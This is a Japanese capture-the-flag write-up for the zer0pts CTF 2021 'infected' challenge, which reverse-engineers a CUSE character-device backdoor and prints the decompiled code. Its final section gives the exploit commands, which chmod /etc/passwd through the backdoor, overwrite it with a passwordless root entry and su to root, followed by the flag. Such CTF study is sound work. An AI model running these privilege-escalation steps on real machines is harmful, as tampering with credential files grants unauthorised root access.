zer0pts CTF 2021 infected Writeup

Overview

チーム KogCoder として参加し、203pts獲得し176位でした
去年の大会からの難易度上昇の具合がヤバかったです

Welcomeとアンケートを除いて唯一解けた問題であるinfectedのWriteupを残しておきます

問題文

The backdoor is installed on this machine:

nc others.ctf.zer0pts.com 11011
or

nc any.ctf.zer0pts.com 11011
How can I use it to get the flag in /root directory?

解法

backdoorという実行ファイルが渡されます
また、問題文で示されているサーバーに繋いでみるとシェルが立ち上がります
問題文曰く/root以下のflagを読めば良いらしいのですが、標準ではPID1000のユーザーとして繋がっていたのでなんとか特権昇格する必要があります
この環境にはバックドアがインストールされていると問題文で言っていたので、配布されたファイルを解析してバックドアの起爆方法を調べます

backdoorのmain関数は以下のようになっています

void main(int argc,char **argv)

{
  register_backdoor(argc,argv);
  return;
}

中身が虚無ですね
register_backdoorを読みましょう

void register_backdoor(int argc,char **argv)

{
  long in_FS_OFFSET;
  undefined local_38 [8];
  undefined4 local_30;
  char **dev_info_argv;
  undefined4 local_20;
  char *local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = "DEVNAME=backdoor";
  memset(local_38,0,0x20);
  local_30 = 1;
  dev_info_argv = &local_18;
  local_20 = 1;
  cuse_lowlevel_main(argc,argv,local_38,devops,0);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

cuse_lowlevel_mainというのはfuseの内部で使われているキャラクタデバイスを作成するための関数みたいです
この関数の第3引数がcuse_lowlevel_opsという構造体なのですが、この中身は各操作を行う際に実際の処理を行う関数へのポインタになっています。

struct cuse_lowlevel_ops {
    void (*init) (void *userdata, struct fuse_conn_info *conn);
    void (*init_done) (void *userdata);
    void (*destroy) (void *userdata);
    void (*open) (fuse_req_t req, struct fuse_file_info *fi);
    void (*read) (fuse_req_t req, size_t size, off_t off,
              struct fuse_file_info *fi);
    void (*write) (fuse_req_t req, const char *buf, size_t size, off_t off,
               struct fuse_file_info *fi);
    void (*flush) (fuse_req_t req, struct fuse_file_info *fi);
    void (*release) (fuse_req_t req, struct fuse_file_info *fi);
    void (*fsync) (fuse_req_t req, int datasync, struct fuse_file_info *fi);
    void (*ioctl) (fuse_req_t req, int cmd, void *arg,
               struct fuse_file_info *fi, unsigned int flags,
               const void *in_buf, size_t in_bufsz, size_t out_bufsz);
    void (*poll) (fuse_req_t req, struct fuse_file_info *fi,
              struct fuse_pollhandle *ph);
};

そして、backdoorで使われていたcuse_lowlevel_opsがこちらです

                             //
                             // .data.rel.ro 
                             // SHT_PROGBITS  [0x201d00 - 0x201d57]
                             // ram:00301d00-ram:00301d57
                             //
                             devops                                          XREF[2]:     register_backdoor:00100d1d(*), 
                                                                                          _elfSectionHeaders::00000550(*)  
        00301d00 00 00 00        addr[11]
                 00 00 00 
                 00 00 00 
           00301d00 00 00 00 00 00  addr      00000000                [0]                               XREF[2]:     register_backdoor:00100d1d(*), 
                    00 00 00                                                                                         _elfSectionHeaders::00000550(*)  
           00301d08 00 00 00 00 00  addr      00000000                [1]
                    00 00 00
           00301d10 00 00 00 00 00  addr      00000000                [2]
                    00 00 00
           00301d18 9a 0a 10 00 00  addr      backdoor_open           [3]
                    00 00 00
           00301d20 00 00 00 00 00  addr      00000000                [4]
                    00 00 00
           00301d28 c0 0a 10 00 00  addr      backdoor_write          [5]
                    00 00 00
           00301d30 00 00 00 00 00  addr      00000000                [6]
                    00 00 00
           00301d38 00 00 00 00 00  addr      00000000                [7]
                    00 00 00
           00301d40 00 00 00 00 00  addr      00000000                [8]
                    00 00 00
           00301d48 00 00 00 00 00  addr      00000000                [9]
                    00 00 00
           00301d50 00 00 00 00 00  addr      00000000                [10]
                    00 00 00

backdoor_openbackdoor_writeが登録されていますね
また、キャラクタデバイスは実際に手元で起動してみると/dev/backdoorに作成されていることが分かります

つまり、/dev/backdoorに何かを書き込むとバックドアが発火できそうです

では、何を書き込むべきなのかを探るためにbackdoor_writeを読みます

void backdoor_write(undefined8 req,char *buf,size_t size,undefined8 off)

{
  int iVar1;
  __mode_t __mode;
  char *__s;
  char *__s1;
  char *__file;
  char *__nptr;
  long in_FS_OFFSET;
  stat64 local_a8;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __s = strndup(buf,size);
  if (__s == (char *)0x0) {
    fuse_reply_err(req,0x16);
    goto LAB_00100c8c;
  }
  __s1 = strtok(__s,":");
  __file = strtok((char *)0x0,":");
  __nptr = strtok((char *)0x0,":");
  if (((__s1 == (char *)0x0) || (__file == (char *)0x0)) || (__nptr == (char *)0x0)) {
    fuse_reply_err(req,0x16);
  }
  else {
    iVar1 = strncmp(__s1,"b4ckd00r",8);
    if (iVar1 == 0) {
      stat64(__file,&local_a8);
      if ((local_a8.st_mode & 0xf000) == 0x8000) {
        __mode = atoi(__nptr);
        iVar1 = chmod(__file,__mode);
        if (iVar1 == 0) {
          fuse_reply_write(req,size,size);
          goto LAB_00100c7d;
        }
      }
      fuse_reply_err(req,0x16);
    }
    else {
      fuse_reply_err(req,0x16);
    }
  }
LAB_00100c7d:
  free(__s);
LAB_00100c8c:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

/dev/backdoorb4ckd00r:ファイルパス:パーミションの順で書き込むことによって任意のファイルのパーミションを変更できそうです

これを使うことで、/etc/passwdのrootパスワードを消去してsuで特権昇格を図れます
あとは/rootにあるflag-b40d08b2f732b94d5ba34730c052d7e3.txtを読むだけです

exploitがこちら

echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo root::0:0:root:/root:/bin/sh > /etc/passwd
su
ls /root
cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt

zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}